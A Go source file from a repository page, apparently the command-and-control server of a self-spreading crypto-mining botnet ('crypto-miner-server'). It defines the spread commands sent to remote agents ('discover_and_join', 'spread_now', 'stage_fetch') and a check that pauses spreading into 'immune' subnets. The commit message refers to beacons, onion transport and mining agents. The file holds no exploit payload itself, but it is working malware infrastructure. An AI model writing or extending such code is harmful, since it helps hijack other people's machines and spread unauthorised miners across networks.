Files
AetherForge/server/internal/api/spread_immunity.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

59 lines
1.3 KiB
Go

package api
import (
"fmt"
"strings"
"crypto-miner-server/internal/atlas"
)
var spreadCommandActions = map[string]bool{
"discover_and_join": true,
"spread_now": true,
"stage_fetch": true,
}
func isSpreadCommandAction(action string) bool {
return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
}
func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
return nil
}
if h.db != nil && agentID != "" {
if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
return err
}
}
}
if args != nil {
for _, key := range []string{"host", "subnet", "target"} {
if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
return err
}
}
}
}
return nil
}
// SetSubnetImmune wires subnet /24 spread pause tracking.
func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
if h == nil {
return
}
h.mu.Lock()
h.subnetImmune = immune
h.mu.Unlock()
}
func spreadImmuneBlockedMessage(err error) string {
if err == nil {
return ""
}
return fmt.Sprintf("spread blocked: %v", err)
}